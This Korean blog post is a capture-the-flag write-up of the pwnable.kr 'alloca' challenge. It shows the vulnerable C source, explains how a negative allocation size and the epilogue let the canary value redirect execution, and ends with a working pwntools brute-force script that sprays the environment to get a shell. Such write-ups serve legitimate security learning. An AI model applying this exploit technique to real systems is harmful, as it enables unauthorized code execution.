Pwnstar

Pwnable.kr alloca 본문

Pwnable.kr/Rookiss

Pwnable.kr alloca

포너블처돌이 2020. 7. 29. 16:24

 

예에에전에 write up을 보고 풀었는데도 제대로 이해하지 못해서 다시 풀어보겠다고 다짐한 후 이제야 다시 풀어본 문제이다.

 

이 문제는 소스코드가 있음에도 IDA가 필요했다....

 

소스코드

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void callme(){
        system("/bin/sh");
}

void clear_newlines(){
        int c;
        do{
                c = getchar();
        }while (c != '\n' && c != EOF);
}

int g_canary;
int check_canary(int canary){
        int result = canary ^ g_canary;
        int canary_after = canary;
        int canary_before = g_canary;
        printf("canary before using buffer : %d\n", canary_before);
        printf("canary after using buffer : %d\n\n", canary_after);
        if(result != 0){
                printf("what the ....??? how did you messed this buffer????\n");
        }
        else{
                printf("I told you so. its trivially easy to prevent BOF :)\n");
                printf("therefore as you can see, it is easy to make secure software\n");
        }
        return result;
}

int size;
char* buffer;
int main(){

        printf("- BOF(buffer overflow) is very easy to prevent. here is how to.\n\n");
        sleep(1);
        printf("   1. allocate the buffer size only as you need it\n");
        printf("   2. know your buffer size and limit the input length\n\n");

        printf("- simple right?. let me show you.\n\n");
        sleep(1);

        printf("- whats the maximum length of your buffer?(byte) : ");
        scanf("%d", &size);
        clear_newlines();

        printf("- give me your random canary number to prove there is no BOF : ");
        scanf("%d", &g_canary);
        clear_newlines();

        printf("- ok lets allocate a buffer of length %d\n\n", size);
        sleep(1);

        buffer = alloca( size + 4 );    // 4 is for canary

        printf("- now, lets put canary at the end of the buffer and get your data\n");
        printf("- don't worry! fgets() securely limits your input after %d bytes :)\n", size);
        printf("- if canary is not changed, we can prove there is no BOF :)\n");
        printf("$ ");

        memcpy(buffer+size, &g_canary, 4);      // canary will detect overflow.
        fgets(buffer, size, stdin);             // there is no way you can exploit this.

        printf("\n");
        printf("- now lets check canary to see if there was overflow\n\n");

        check_canary( *((int*)(buffer+size)) );
        return 0;
}

 

보면 구조 자체는 굉장히 단순해 보인다. size와 g_canary를 입력받고 alloca 함수로 size + 4 만큼 스택에 할당을 받는다.

 

이후 buffer + size에 g_canary를 4바이트만큼 복사하고 fgets로 buffer에 입력을 받는다 그리고 이후 check_canary 함수로 canary의 값을 검사해서 카나리의 값이 변조되었는지 검사한다.

 

이렇게 보면 canary를 덮어씌울 수 없을 것처럼 보인다. 

 

근데 만약에 음수를 넣으면 어떻게 될까 싶어서 한번 -100을 넣어 봤더니 내 예상되로 됐다.

 

일단 디버깅을 하면서 알게 된 부분을 설명해보려고 한다. 가장 중요한 부분이 

 

buffer = alloca(size + 4) 부분이다. 코드에서는 단순히 이렇게만 나와있지만 IDA로 보면 확실히 보인다.

 

IDA

 

이 부분인데 size 값에 34를 더하고 16으로 나누었다가 16을 다시 곱한 것을 보니 아무래도 16의 배수 값으로 esp 레지스터의 값을 맞춰주려고 하는 것 같다. (v3는 esp 레지스터)

 

그리고 또 한 가지 중요한 부분이 바로 함수의 에필로그 부분이다. 이때까지 문제를 풀면서 이런 에필로그를 종종 봐 왔었는데,

 

바로 이 부분이다. ebp - 0x4 의 값을 ecx에 넣고, ecx-0x4의 값을 esp에 넣은 후 return을 한다. 즉 ebp-0x4의 주소에  call_me 함수 주소 + 4의 값이 들어가 있으면 된다.

 

완전히 이해하고 풀어보니 쉽게 보이는데, size에 들어가는 값을 만들어주기 위해 좀 고생했다.

 

그런데 사실 그렇게 큰 상관이 없을 수도 있는데 이 문제가 브루트포싱으로 풀어야하는 문제이다 보니 확률을 조금이라도 높여주려면 82가 가장 나을 것 같다;;

 

그리고 우리는 결과적으로 보면 g_canary의 값으로 eip를 컨트롤할 수 있는데, 그 이유는 좀 더 분석하면서 설명해보도록 하겠다.

 

 

이 부분에서 eax레지스터에는 우리가 g_canary로 넣은 값이 들어있고, edx는 buffer의 시작 주소이다. 조금 더 진행해보면

 

 

ebp-0x4의 주소에 우리가 넣은 canary의 값이 들어 있는데,

 

 

결국 canary의 값 - 4의 주소로 ret이 덮인 것을 볼 수 있다. 

 

그러면 이제 시나리오를 좀 생각해 보자 환경변수로 call_me + 4의 주소를 수없이 많이 넣어놓고, 우리는 스택의 주소를 모르기 때문에 이 부분(g_canary)의 주소를 이게 스택이겠거니...하면서 넣어줘야 한다.

 

하...브루트포싱 문제를 싫어하진 않지만 이런 건 좀 싫다.

 

아무튼 이렇게 페이로드를 짜고 실행을 계에에속 하다보면 쉘이 따질 것이다.

 

ex.py

from pwn import*

#b*0x80485E1
#b*0x080486EB
#b*0x08048715
#b*0x0804877E


#context.terminal=['tmux', 'splitw', '-h']
shell = p32(0x80485AB)
e = {str(i): shell * 30000 for i in range(10)}

while True:
    p = process("/home/alloca/alloca", env = e)
    script = '''
    b*0x08048829
    '''
    #gdb.attach(p, script)   

    size = -82
    p.sendline(str(size))

    canary = -4849664
    p.sendline(str(canary))

    ans = p.recv(1024)
    
    p.interactive()
    p.close()

 

 

 

'Pwnable.kr > Rookiss' 카테고리의 다른 글

Pwnable.kr loveletter  (0) 2020.07.30
Pwnable.kr note  (0) 2020.07.30
Pwnable.kr rsa_calculator  (0) 2020.07.29
Pwnable.kr echo2  (0) 2020.07.28
Pwnable.kr echo1  (0) 2020.07.28
Comments